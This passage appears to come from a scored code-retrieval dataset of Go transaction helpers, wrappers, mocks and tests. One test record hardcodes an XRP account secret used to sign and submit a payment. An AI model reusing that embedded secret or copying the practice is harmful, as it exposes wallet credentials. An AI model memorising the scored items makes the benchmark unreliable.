tx.Commit(); err != nil {\n\t\treturn errors.Wrap(err, \"transaction commit error\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d388580a4a25af6e879672d4deef8c6b", "score": "0.49980542", "text": "func (s *SQL) Transaction(ctx provider.Context, transactionKey string, f func(tx provider.TX) error) error {\n\treturn runWithSQLAnalyzer(ctx, \"db\", \"Transaction\", func() error {\n\t\ttx, err := s.db.BeginTx(ctx.Ctx(), &sql.TxOptions{})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tadaptedTx := &Tx{tx: tx}\n\t\tif err := f(adaptedTx); err != nil {\n\t\t\t_ = tx.Rollback()\n\t\t\treturn err\n\t\t}\n\n\t\tif err := tx.Commit(); err != nil {\n\t\t\t_ = tx.Rollback()\n\t\t\treturn err\n\t\t}\n\n\t\treturn nil\n\t})\n\n}", "title": "" }, { "docid": "4e288044aab68895d0970dc9f509254d", "score": "0.49798968", "text": "func (dao *ArticlesDao) Transaction(ctx context.Context, f func(ctx context.Context, tx *gdb.TX) error) (err error) {\n\treturn dao.Ctx(ctx).Transaction(ctx, f)\n}", "title": "" }, { "docid": "6cf770eb43b3574cbbac743f11748aea", "score": "0.49391952", "text": "func Transaction(f func(tx sqlx.Ext) error) error {\n\ttx, err := db.Beginx()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"storage: begin transaction error\")\n\t}\n\n\terr = f(tx)\n\tif err != nil {\n\t\tif rbErr := tx.Rollback(); rbErr != nil {\n\t\t\treturn errors.Wrap(rbErr, \"storage: transaction rollback error\")\n\t\t}\n\t\treturn err\n\t}\n\n\tif err := tx.Commit(); err != nil {\n\t\treturn errors.Wrap(err, \"storage: transaction commit error\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "985d8da839fc8db00f79831682676b96", "score": "0.49008775", "text": "func (dao *OperateLogDao) Transaction(ctx context.Context, f func(ctx context.Context, tx *gdb.TX) error) (err error) {\n\treturn dao.Ctx(ctx).Transaction(ctx, f)\n}", "title": "" }, { "docid": "3eecee1c45740f26bcffafcccac1902e", "score": "0.4900831", "text": "func (m *mStorageMockWithTransaction) Set(f func(ctx context.Context, f func(tx *sqlx.Tx) error) (err error)) *StorageMock {\n\tif m.defaultExpectation != nil {\n\t\tm.mock.t.Fatalf(\"Default expectation is already set for the Storage.WithTransaction method\")\n\t}\n\n\tif len(m.expectations) > 0 {\n\t\tm.mock.t.Fatalf(\"Some expectations are already set for the Storage.WithTransaction method\")\n\t}\n\n\tm.mock.funcWithTransaction = f\n\treturn m.mock\n}", "title": "" }, { "docid": "99fc185422f5a42fd1f7b6484d523577", "score": "0.4899698", "text": "func (dao *DepartmentDao) Transaction(ctx context.Context, f func(ctx context.Context, tx *gdb.TX) error) (err error) {\n\treturn dao.Ctx(ctx).Transaction(ctx, f)\n}", "title": "" }, { "docid": "3ea421666f0bc243b252a6b639bcd309", "score": "0.48771274", "text": "func (dao *DictionaryDetailsDao) Transaction(ctx context.Context, f func(ctx context.Context, tx *gdb.TX) error) (err error) {\n\treturn dao.Ctx(ctx).Transaction(ctx, f)\n}", "title": "" }, { "docid": "026d816e702533b1f8ace718c6455b91", "score": "0.48574555", "text": "func withOutboundTransaction(node *OutboundTransaction) outboundtransactionOption {\n\treturn func(m *OutboundTransactionMutation) {\n\t\tm.oldValue = func(context.Context) (*OutboundTransaction, error) {\n\t\t\treturn node, nil\n\t\t}\n\t\tm.id = &node.ID\n\t}\n}", "title": "" }, { "docid": "ac128767f75e059d25548242f479e14c", "score": "0.4852464", "text": "func WithTx(ctx context.Context, db *sql.DB, fn func(context.Context, *sql.Tx) error) (err error) {\n\ttxCtx := &TxContext{\n\t\tdb: db,\n\t\tlocals: make(map[interface{}]interface{}),\n\t}\n\tctx = context.WithValue(ctx, txContextKey{}, txCtx)\n\ttx, err := db.BeginTx(ctx, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tdefer func() {\n\t\ttx.Rollback()\n\t\tfor i := len(txCtx.onFinalised) - 1; i >= 0; i-- {\n\t\t\ttxCtx.onFinalised[i]()\n\t\t}\n\t\tif err == Rollback {\n\t\t\t// Rollback is not treated as an error.\n\t\t\terr = nil\n\t\t}\n\t}()\n\n\terr = fn(ctx, tx)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = tx.Commit()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfor i := len(txCtx.onCommitted) - 1; i >= 0; i-- {\n\t\ttxCtx.onCommitted[i]()\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "6531b14ad09a4edfa981ece507adac4d", "score": "0.47607774", "text": "func withTx(ctx context.Context, db *sqlx.DB, txFn func(tx *sqlx.Tx) error) error {\n\ttx, err := db.BeginTxx(ctx, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = txFn(tx)\n\tif err != nil {\n\t\tif rbErr := tx.Rollback(); rbErr != nil {\n\t\t\terr = fmt.Errorf(\"tx failed: %v, unable to rollback: %v\", err, rbErr)\n\t\t}\n\t} else {\n\t\terr = tx.Commit()\n\t}\n\treturn err\n}", "title": "" }, { "docid": "4390bcbc6a366bf4143a0567391ea11c", "score": "0.47534013", "text": "func (d *DepositTransaction) Options(t *bind.TransactOpts) error {\n\t//TODO: add validations\n\td.TransactOpts = t\n\treturn nil\n}", "title": "" }, { "docid": "0963b52b138e0ee3de608e61d510291c", "score": "0.4729948", "text": "func Transaction(db *sql.DB, cb func(tx query.Database) error) (err error) {\n\treturn query.Transaction(db, cb)\n}", "title": "" }, { "docid": "a7bea13ca2bacb1e38f5a2aabf110a59", "score": "0.47281504", "text": "func (tr *Transaction) WithContext(ctx context.Context) *Transaction {\n\tnewcfg := *tr.cfg\n\tnewcfg.ctx = ctx\n\treturn &Transaction{\n\t\tTransaction: tr.Transaction,\n\t\tcfg: &newcfg,\n\t}\n}", "title": "" }, { "docid": "77b7d9e2b979182b7572d4e019b86d57", "score": "0.4720684", "text": "func (dao *UserPostDao) Transaction(ctx context.Context, f func(ctx context.Context, tx *gdb.TX) error) (err error) {\n\treturn dao.Ctx(ctx).Transaction(ctx, f)\n}", "title": "" }, { "docid": "b1c85538f365375a373147bc1333cbb7", "score": "0.47033587", "text": "func (t *Transactor) RunInTransaction(ctx context.Context, f func(context.Context) error) error {\n\tt.RunInTransactionInvoked = true\n\n\tctx = newContextTxn(ctx, &Tx{})\n\tif err := f(ctx); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "122e9c3af577effa02ae1bef86bfe811", "score": "0.46620968", "text": "func OptionTransactionsFinder(tf TransactionsFinder) Option {\n\treturn advancedOptionFunc(func(opts *AdvancedOptions) {\n\t\topts.TF = tf\n\t})\n}", "title": "" }, { "docid": "78d18a480154b461163abd5c3905d3c6", "score": "0.4659901", "text": "func (r *Resolver) Transaction() generated.TransactionResolver { return &transactionResolver{r} }", "title": "" }, { "docid": "78d18a480154b461163abd5c3905d3c6", "score": "0.4659901", "text": "func (r *Resolver) Transaction() generated.TransactionResolver { return &transactionResolver{r} }", "title": "" }, { "docid": "d849ea5952f3f8a876ad27061e40bc47", "score": "0.46526614", "text": "func ContextWithTransaction(parent context.Context, t *Transaction) context.Context {\n\treturn OverrideContextWithTransaction(parent, t)\n}", "title": "" }, { "docid": "4c9546c08c224fe68216f321f228d440", "score": "0.4643361", "text": "func WithOptions(option *Options) transport.Option {\n\treturn func(options *transport.Options) error {\n\t\toptions.Context = context.WithValue(options.Context, contextKey{}, option.Apply())\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "0d0432dff9639bf68806081d9d684ee0", "score": "0.4626244", "text": "func (context *Context) Transaction(req map[string]interface{}) (rsp map[string]interface{}, err error) {\n\n\t// Marshal the request to JSON\n\treqJSON, err2 := json.Marshal(req)\n\tif err2 != nil {\n\t\terr = fmt.Errorf(\"error marshaling request for module: %s\", err2)\n\t\treturn\n\t}\n\n\t// Perform the transaction\n\trspJSON, err2 := context.TransactionJSON(reqJSON)\n\tif err2 != nil {\n\t\terr = fmt.Errorf(\"error marshaling request for module: %s\", err2)\n\t\treturn\n\t}\n\n\t// Unmarshal for convenience of the caller\n\terr = json.Unmarshal(rspJSON, &rsp)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"error unmarshaling reply from module: %s\", err)\n\t\treturn\n\t}\n\n\t// Done\n\treturn\n}", "title": "" }, { "docid": "eed46a43f4c0556dd095cf99dfe8b2f8", "score": "0.46253157", "text": "func ContextWithTransaction(ctx context.Context, tx *sqlx.Tx) context.Context {\n\treturn context.WithValue(ctx, transactionKey{}, tx)\n}", "title": "" }, { "docid": "99d1f6a3351bc2408e6ea7719cd733d7", "score": "0.46181232", "text": "func WithTransactionStorage(storage TransactionStorage) AdapterOption {\n\treturn func(a *adapter) error {\n\t\ta.storage = storage\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "4482705724f0cca3775f0dea14e79754", "score": "0.4535174", "text": "func TransactionFromContext(ctx context.Context) *Span {\n\tif span, ok := ctx.Value(spanContextKey{}).(*Span); ok {\n\t\treturn span.recorder.root()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "abbd9ce3119ca8e25289a709c7c58e74", "score": "0.45123073", "text": "func (db *DB) RunTransaction(opts *storage.TransactionOptions, retryable func(db storage.DB) error) error {\n\treturn runTransaction(db, opts, retryable)\n}", "title": "" }, { "docid": "84adf6e7c4ecb294180941a8b1e01c47", "score": "0.44828138", "text": "func (n *nodeClient) txOpts(ctx context.Context, val, maxGas uint64, maxFeeRate, nonce *big.Int) (*bind.TransactOpts, error) {\n\tbaseFee, gasTipCap, err := n.currentFees(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif maxFeeRate == nil {\n\t\tmaxFeeRate = new(big.Int).Mul(baseFee, big.NewInt(2))\n\t}\n\n\t// If nonce is not nil, this indicates that we are trying to re-send an\n\t// old transaction with higher fee in order to ensure it is mined.\n\tif nonce == nil {\n\t\tn, err := n.leth.ApiBackend.GetPoolNonce(ctx, n.creds.addr)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error getting nonce: %v\", err)\n\t\t}\n\t\tnonce = new(big.Int).SetUint64(n)\n\t}\n\ttxOpts := newTxOpts(ctx, n.creds.addr, val, maxGas, maxFeeRate, gasTipCap)\n\ttxOpts.Nonce = nonce\n\tn.addSignerToOpts(txOpts)\n\n\treturn txOpts, nil\n}", "title": "" }, { "docid": "ffc644b0106efc2f38eef8c92ddaa4c3", "score": "0.44820517", "text": "func (s *otSpan) FinishWithOptions(opts opentracing.FinishOptions) {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\tif !opts.FinishTime.IsZero() {\n\t\tduration := opts.FinishTime.Sub(s.ctx.startTime)\n\t\tif s.span != nil {\n\t\t\ts.span.Duration = duration\n\t\t} else {\n\t\t\ts.ctx.tx.Duration = duration\n\t\t}\n\t}\n\tif s.span != nil {\n\t\tfor _, record := range opts.LogRecords {\n\t\t\ttimestamp := record.Timestamp\n\t\t\tif timestamp.IsZero() {\n\t\t\t\ttimestamp = opts.FinishTime\n\t\t\t}\n\t\t\tlogFields(s.tracer.tracer, nil, s.span, timestamp, record.Fields)\n\t\t}\n\t\ts.setSpanContext()\n\t\ts.span.End()\n\t} else {\n\t\ts.setTransactionContext()\n\t\tfor _, record := range opts.LogRecords {\n\t\t\ttimestamp := record.Timestamp\n\t\t\tif timestamp.IsZero() {\n\t\t\t\ttimestamp = opts.FinishTime\n\t\t\t}\n\t\t\tlogFields(s.tracer.tracer, s.ctx.tx, nil, timestamp, record.Fields)\n\t\t}\n\t\ts.ctx.tx.End()\n\t}\n}", "title": "" }, { "docid": "62a16e2c9c70007d033dfbfdb8191ff1", "score": "0.44788286", "text": "func (s *Store) Transact(ctx context.Context, f func(context.Context, repos.Repository) error) error {\n\treturn crdb.ExecuteTx(ctx, s.db.DB, nil /* nil txopts */, func(tx *sql.Tx) error {\n\t\treturn f(ctx, &repo{\n\t\t\tq: tx,\n\t\t\tlogger: s.logger,\n\t\t\tclock: s.clock,\n\t\t})\n\t})\n}", "title": "" }, { "docid": "14f69937185e0648bf1b6751d8b4c47b", "score": "0.44681856", "text": "func (dao *ImagesDao) Transaction(ctx context.Context, f func(ctx context.Context, tx *gdb.TX) error) (err error) {\n\treturn dao.Ctx(ctx).Transaction(ctx, f)\n}", "title": "" }, { "docid": "8234690b1ac67fb83f93e6a485cfd2aa", "score": "0.44620544", "text": "func (b *LogWriter) WithTransaction(txn *newrelic.Transaction) LogWriter {\n\treturn LogWriter{\n\t\tout: b.out,\n\t\tapp: b.app,\n\t\tdebug: b.debug,\n\t\ttxn: txn,\n\t}\n}", "title": "" }, { "docid": "f84029ce13bc65137b3c2fd837bed04b", "score": "0.4459497", "text": "func (_e *Client_Expecter) WithTx(ctx interface{}, ops interface{}, do interface{}) *Client_WithTx_Call {\n\treturn &Client_WithTx_Call{Call: _e.mock.On(\"WithTx\", ctx, ops, do)}\n}", "title": "" }, { "docid": "2b4e5df64a60ca759b1aec14f99f71bc", "score": "0.44571105", "text": "func NewTransaction(clientID string, options TransactionOptions) Transaction {\n\tif clientID == \"\" {\n\t\tclientID = fmt.Sprintf(\"go-driver/%s\", driver.DriverVersion)\n\t}\n\n\treturn Transaction{\n\t\tclientID: clientID,\n\t\toptions: options,\n\t}\n}", "title": "" }, { "docid": "ca2a7210edb03ec602ef2b1fca199183", "score": "0.44482425", "text": "func Tx(ctx context.Context, db *sql.DB, opts *sql.TxOptions, f func(tx *sql.Tx) error) (err error) {\n\tvar tx *sql.Tx\n\ttx, err = db.BeginTx(ctx, opts)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfPanic := true\n\tdefer func() {\n\t\tif err != nil || fPanic {\n\t\t\te := tx.Rollback()\n\t\t\tif err == nil {\n\t\t\t\terr = e\n\t\t\t}\n\t\t} else {\n\t\t\terr = tx.Commit()\n\t\t}\n\t}()\n\terr = f(tx)\n\tfPanic = false\n\treturn\n}", "title": "" }, { "docid": "d880000e16c8291dd3253e271fc34bb8", "score": "0.4442575", "text": "func TestTransaction(t *testing.T) {\n\t// t.SkipNow()\n\txr := testutil.GetXRP()\n\n\ttype args struct {\n\t\tsernderAccount string\n\t\tsenderSecret string\n\t\treceiverAccount string\n\t\tamount float64\n\t\tinstructions *pb.Instructions\n\t}\n\ttype want struct {\n\t\tisErr bool\n\t}\n\ttests := []struct {\n\t\tname string\n\t\targs args\n\t\twant want\n\t}{\n\t\t{\n\t\t\tname: \"happy path 1\",\n\t\t\targs: args{\n\t\t\t\tsernderAccount: \"rxcip8BgcUMbMr9QEm15WMDUdG7oGEwT8\",\n\t\t\t\tsenderSecret: \"sswVaSDUNnLd5pB4F9oPT9u7jLf2X\",\n\t\t\t\treceiverAccount: \"rnkZMhbXQZ8GTfSihmdTqNUtvUAAqwkLWN\",\n\t\t\t\tamount: 100,\n\t\t\t\tinstructions: &pb.Instructions{\n\t\t\t\t\tMaxLedgerVersionOffset: 2,\n\t\t\t\t},\n\t\t\t},\n\t\t\twant: want{false},\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\t// PrepareTransaction\n\t\t\ttxJSON, _, err := xr.PrepareTransaction(tt.args.sernderAccount, tt.args.receiverAccount, tt.args.amount, tt.args.instructions)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t\tgrok.Value(txJSON)\n\t\t\t//- creating raw transaction\n\t\t\t// LastLedgerSequence: 8153687\n\t\t\t// Sequence: 8153441\n\t\t\t//- after sending\n\t\t\t// earlistLedgerVersion: 8153673\n\t\t\t// sentTx.TxJSON.LastLedgerSequence: 8153687\n\n\t\t\t// SingTransaction\n\t\t\ttxID, txBlob, err := xr.SignTransaction(txJSON, tt.args.senderSecret)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t\tt.Log(\"txID: \", txID)\n\t\t\tt.Log(\"txBlob: \", txBlob)\n\n\t\t\t// SendTransaction\n\t\t\tsentTx, earlistLedgerVersion, err := xr.SubmitTransaction(txBlob)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t\tt.Log(\"earlistLedgerVersion: \", earlistLedgerVersion)\n\t\t\tgrok.Value(sentTx)\n\t\t\tif strings.Contains(sentTx.ResultCode, \"UNFUNDED_PAYMENT\") {\n\t\t\t\tt.Errorf(\"fail to call SubmitTransaction. resultCode: %s, resultMessage: %s\", sentTx.ResultCode, sentTx.ResultMessage)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// validate transaction\n\t\t\tledgerVer, err := xr.WaitValidation(sentTx.TxJSON.LastLedgerSequence)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t\tt.Log(\"currentLedgerVersion: \", ledgerVer)\n\n\t\t\t// get transaction info\n\t\t\tgrok.Value(txID)\n\t\t\tgrok.Value(earlistLedgerVersion)\n\t\t\ttxInfo, err := xr.GetTransaction(txID, earlistLedgerVersion)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t\tgrok.Value(txInfo)\n\n\t\t\t// TODO: sender account info\n\t\t\t// TODO: receiver account info\n\t\t})\n\t}\n}", "title": "" }, { "docid": "f95034aff3d7cca85e55948066e8b48f", "score": "0.44387513", "text": "func (m *sqlNamespaceManager) WrapTransaction(ctx context.Context, fn func(ctx context.Context) error) error {\n\n\tvar err error\n\n\ttxn, err := m.db.BeginTx(ctx, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer func() {\n\t\tif err == nil {\n\t\t\treturn\n\t\t}\n\n\t\terr = txn.Rollback()\n\t}()\n\n\tctx = context.WithValue(ctx, txnKey{}, txn)\n\n\tif err = fn(ctx); err != nil {\n\t\treturn err\n\t}\n\n\tif err = txn.Commit(); err != nil {\n\t\treturn err\n\t}\n\n\treturn err\n}", "title": "" }, { "docid": "613f2956338bf195eb028d385222d847", "score": "0.4432007", "text": "func NewTransactions(options Options) *Transactions {\n\treturn &Transactions{\n\t\toptions: options,\n\t}\n}", "title": "" }, { "docid": "2de19fd2814cc11a98562ad0a50daa10", "score": "0.4420569", "text": "func WithContextTimeout(ctx context.Context, f func(ctx context.Context)) {\n\tWithContextTimeoutValue(ctx, env.DBStmtTimeout, f)\n}", "title": "" }, { "docid": "244af8657959a1339ce0e6cb4ad3eb20", "score": "0.44125578", "text": "func (cfg Config) WithRollback(opt ...Option) (levels.Interface, Option) {\n\trollback := Set(cfg)\n\tfor _, o := range opt {\n\t\tif o != nil {\n\t\t\t_ = o(&cfg)\n\t\t}\n\t}\n\t// exit and panic wrappers are always applied after user ops\n\tt := append(cfg.TransformOps, (&levels.Transform{\n\t\tlevels.Fatal: func(x logger.Logger) logger.Logger {\n\t\t\treturn exitLogger(x, cfg.Exit, cfg.ExitCode)\n\t\t},\n\t\tlevels.Panic: func(x logger.Logger) logger.Logger {\n\t\t\treturn panicLogger(x, cfg.Panic)\n\t\t},\n\t}).Apply)\n\tif cfg.Sink.Stream != nil {\n\t\treturn LeveledStreamer(\n\t\t\tcfg.Context,\n\t\t\tcfg.Threshold,\n\t\t\tcfg.Sink.Stream,\n\t\t\tcfg.Sink.Decorators.Decorate(safeMarshaler(cfg.Sink.Marshaler)),\n\t\t\tt,\n\t\t\tcfg.CallTracking,\n\t\t\tcfg.Sink.Errors,\n\t\t\tcfg.Sink.Builder), rollback\n\t}\n\treturn LeveledLogger(\n\t\tcfg.Context,\n\t\tcfg.Threshold,\n\t\tcfg.Sink.Logger,\n\t\tt,\n\t\tcfg.CallTracking), rollback\n}", "title": "" }, { "docid": "f8313ba76adbe1703163113d025ffa7f", "score": "0.4405806", "text": "func (d *DB) Transaction (fc func(tx *transaction) error) (err error) {\n\treturn d.Db(ModeMaster).Transaction(func(tx *gorm.DB) error {\n\t\treturn fc(&transaction{tx:tx})\n\t})\n}", "title": "" }, { "docid": "620db3437e6a54b5b26ccaa470110e7a", "score": "0.44034106", "text": "func (txn *RecordedTxn) StringWithOpts(resultOnly, verbose bool, indent int) string {\n\tvar str string\n\tindent1 := strings.Repeat(\" \", indent)\n\tindent2 := strings.Repeat(\" \", indent+4)\n\tindent3 := strings.Repeat(\" \", indent+8)\n\n\tif !resultOnly {\n\t\t// transaction arguments\n\t\tstr += indent1 + \"* transaction arguments:\\n\"\n\t\tstr += indent2 + fmt.Sprintf(\"- seqNum: %d\\n\", txn.SeqNum)\n\t\tif txn.TxnType == NBTransaction && txn.ResyncType != NotResync {\n\t\t\tstr += indent2 + fmt.Sprintf(\"- type: %s, %s\\n\", TxnTypeToString(txn.TxnType), ResyncTypeToString(txn.ResyncType))\n\t\t} else {\n\t\t\tif txn.TxnType == RetryFailedOps {\n\t\t\t\tstr += indent2 + fmt.Sprintf(\"- type: %s (for txn #%d, attempt #%d)\\n\",\n\t\t\t\t\tTxnTypeToString(txn.TxnType), txn.RetryForTxn, txn.RetryAttempt)\n\t\t\t} else if txn.TxnType == RetryUnimplOps {\n\t\t\t\tstr += indent2 + fmt.Sprintf(\"- type: %s (for txn #%d)\\n\",\n\t\t\t\t\tTxnTypeToString(txn.TxnType), txn.RetryForTxn)\n\t\t\t} else {\n\t\t\t\tstr += indent2 + fmt.Sprintf(\"- type: %s\\n\", TxnTypeToString(txn.TxnType))\n\t\t\t}\n\t\t}\n\t\tif txn.Description != \"\" {\n\t\t\tdescriptionLines := strings.Split(txn.Description, \"\\n\")\n\t\t\tfor idx, line := range descriptionLines {\n\t\t\t\tif idx == 0 {\n\t\t\t\t\tstr += indent2 + fmt.Sprintf(\"- Description: %s\\n\", line)\n\t\t\t\t} else {\n\t\t\t\t\tstr += indent3 + fmt.Sprintf(\"%s\\n\", line)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif txn.ResyncType == DownstreamResync {\n\t\t\t// TODO: refactor the code to get rid of this goto statement\n\t\t\tgoto printOps\n\t\t}\n\t\tif len(txn.Values) == 0 {\n\t\t\tstr += indent2 + \"- values: NONE\\n\"\n\t\t} else {\n\t\t\tstr += indent2 + \"- values:\\n\"\n\t\t}\n\t\tfor _, kv := range txn.Values {\n\t\t\tif txn.ResyncType != NotResync && kv.Origin == FromSB {\n\t\t\t\t// do not print SB values updated during resync\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tstr += indent3 + fmt.Sprintf(\"- key: %s\\n\", kv.Key)\n\t\t\tstr += indent3 + fmt.Sprintf(\" val: %s\\n\", utils.ProtoToString(kv.Value))\n\t\t}\n\n\tprintOps:\n\t\t// planned operations\n\t\tif txn.WithSimulation {\n\t\t\tstr += indent1 + \"* planned operations:\\n\"\n\t\t\tstr += txn.Planned.StringWithOpts(verbose, indent+4)\n\t\t}\n\t}\n\n\tif !txn.PreRecord {\n\t\tif len(txn.Executed) == 0 {\n\t\t\tstr += indent1 + \"* executed operations:\\n\"\n\t\t} else {\n\t\t\tstr += indent1 + fmt.Sprintf(\"* executed operations (%s -> %s, dur: %s):\\n\",\n\t\t\t\ttxn.Start.Round(time.Millisecond),\n\t\t\t\ttxn.Stop.Round(time.Millisecond),\n\t\t\t\ttxn.Stop.Sub(txn.Start).Round(time.Millisecond))\n\t\t}\n\t\tstr += txn.Executed.StringWithOpts(verbose, indent+4)\n\t}\n\n\treturn str\n}", "title": "" }, { "docid": "48a390762a4b7c1498bd6f0f500576f1", "score": "0.43936256", "text": "func GetTransactionTest() {\n\tresult, err := cli.GetTransaction(\"fbb4b899ae57f05154d3fdf913510ce7d91a25ca7691ddedfbbecb7bd5a1ea28\", true)\n\tif err != nil {\n\t\tlog.Fatal(\"\", \"error\", err)\n\t}\n\tlog.Info(\"GetTransaction\", \"result\", result)\n\t//result, err := cli.GetTransaction(\"239f98f9a355fc0c3b8ac8d0556ace4c49251c5e711c22783f37e9e5f185859b\", true)\n\t//if err != nil {\n\t//\tlog.Fatal(\"\", \"error\", err)\n\t//}\n\t//log.Info(\"GetTransaction\", \"result\", result)\n\t//result2, err2 := cli.GetTransaction(\"65bcaab247a598ae175eb5edf34531616ec7d8c4147d8ca6ad2b9b3c69543dc1\", true)\n\t//if err2 != nil {\n\t//\tlog.Fatal(\"\", \"error\", err2)\n\t//}\n\t//log.Info(\"GetTransaction\", \"result\", result2)\n}", "title": "" }, { "docid": "29c8a963f06124997edd13b01235d9d7", "score": "0.43820602", "text": "func Transaction(db *sqlx.DB, transaction func(tx *sqlx.Tx) error) error {\n\ttx, err := db.Beginx()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := transaction(tx); err != nil {\n\t\tif err := tx.Rollback(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn err\n\t}\n\treturn tx.Commit()\n}", "title": "" }, { "docid": "f0a99913dcb15e2a7d3332f17344f28a", "score": "0.4377069", "text": "func (t TransacterFunc) Transact(ctx context.Context, f func(*pgx.Tx) error) (err error) {\n\treturn t(ctx, f)\n}", "title": "" }, { "docid": "4b091ce16967b1f5d0500a1c0c88f1c8", "score": "0.43734765", "text": "func (i Client) RunTransaction(ctx context.Context, path string, f db.UpdateFn) (err error) {\n\tclient := firebase.FirebaseDbClient\n\n\treturn client.NewRef(path).Transaction(ctx, f)\n}", "title": "" }, { "docid": "db099c8df4b68e14fd10855c487b0f67", "score": "0.4358386", "text": "func WrapTx(tx *buntdb.Tx, opts ...Option) *Tx {\n\tcfg := new(config)\n\tdefaults(cfg)\n\tfor _, opt := range opts {\n\t\topt(cfg)\n\t}\n\tlog.Debug(\"contrib/tidwall/buntdb: Wrapping Transaction: %#v\", cfg)\n\treturn &Tx{\n\t\tTx: tx,\n\t\tcfg: cfg,\n\t}\n}", "title": "" }, { "docid": "ad5d4af0cb150bd127af68f73b7eb6db", "score": "0.43547636", "text": "func NewTransaction(transaction *models.Transaction, withSecurityCode bool) error {\n\tclient := resty.New()\n\n\trequest := client.R()\n\trequest.SetBody(transaction)\n\tif withSecurityCode {\n\t\trequest.SetHeader(\"with-security-code\", \"true\")\n\t}\n\trequest.SetResult(&transaction)\n\n\t_, err := request.Post(os.Getenv(\"API_TRANSACTION_BASE_URL\") + \"/transaction\")\n\treturn err\n}", "title": "" }, { "docid": "507b135699727b373e187634e91754e4", "score": "0.435026", "text": "func (db *DB) DoInTransactionWithOpts(\n\tctx context.Context, do func(context.Context) error, opts *sql.TxOptions,\n) error {\n\ttx := GetTransaction(ctx)\n\tif tx != nil {\n\t\treturn do(ctx)\n\t}\n\n\tconn, err := db.DB().Conn(ctx)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to retrieve DB connection\")\n\t}\n\tdefer conn.Close() // nolint: errcheck\n\n\ttx, err = conn.BeginTx(ctx, opts)\n\tif err != nil {\n\t\treturn errors.Wrap(FormatDBError(err), \"failed to start DB transaction\")\n\t}\n\tdefer rollbackOnPanic(tx)\n\n\tif err = do(context.WithValue(ctx, Transaction, tx)); err != nil {\n\t\ttx.Rollback() // nolint: errcheck\n\t\treturn err\n\t}\n\n\tif err = tx.Commit(); err != nil {\n\t\ttx.Rollback() // nolint: errcheck\n\t\treturn FormatDBError(err)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "28d92f5acd3ae8b7b51297c81be751af", "score": "0.43438086", "text": "func (tm *transactionManager) Transaction(callback func(db *gorm.DB) error, log logrus.FieldLogger) error {\n\tlog.Debug(\"opening transaction\")\n\ttx := tm.db.Begin()\n\ttx.SetLogger(getLogger(log))\n\tif err := tx.Error; err != nil {\n\t\treturn err\n\t}\n\tif err := callback(tx); err != nil {\n\t\tif err := tx.Rollback().Error; err != nil {\n\t\t\tlog.WithError(err).Warn(\"transaction has not been rollbacked\")\n\t\t\treturn err\n\t\t}\n\t\tlog.Warnf(\"transaction has been rollbacked\")\n\t\treturn err\n\t}\n\tlog.Debug(\"committing transaction\")\n\terr := tx.Commit().Error\n\tif err == nil {\n\t\tlog.Debug(\"transaction has been committed\")\n\t}\n\treturn err\n}", "title": "" }, { "docid": "c0e7ccdfe81adf8c979bb396058f0365", "score": "0.43371543", "text": "func (db *DB) ReadWriteTransactionalContext(ctx context.Context, opts *sql.TxOptions, f func(tx *sqlz.Tx) error) error {\n\tdb.mu.Lock()\n\tdefer db.mu.Unlock()\n\treturn db.sqldb.TransactionalContext(ctx, opts, f)\n}", "title": "" }, { "docid": "c0c2b37d0c62f7636f8df9733d01b247", "score": "0.43346116", "text": "func (db *DB) Transactional(ctx context.Context, f func(ctx context.Context) error) error {\n\treturn db.db.TransactionalContext(ctx, nil, func(tx *dbx.Tx) error {\n\t\treturn f(context.WithValue(ctx, txKey, tx))\n\t})\n}", "title": "" }, { "docid": "af1a665c5928f2a945fab5b2228e8176", "score": "0.43240488", "text": "func (db *DB) Transaction(fn func(db *DB) error) error {\n\treturn db.gorm.Transaction(func(tx *gorm.DB) error {\n\t\treturn fn(dbFromGormTx(tx))\n\t})\n}", "title": "" }, { "docid": "e9109dc6f69f7e7847c6220e8b0f0e11", "score": "0.4322103", "text": "func WithCollections(collections ...string) TransactionOption {\n\treturn func(txn *Transaction) error {\n\t\ttxn.collections = collections\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "5baf32fa3af78cf1618c349368977ad5", "score": "0.43210685", "text": "func VerifyTransaction(db *gorm.DB) gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tvar transaction model.Transaction\n\t\tc.BindJSON(&transaction)\n\n\t\tinputs := transaction.Inputs\n\t\tif len(inputs) == 0 {\n\t\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\t\"message\": \"There are no 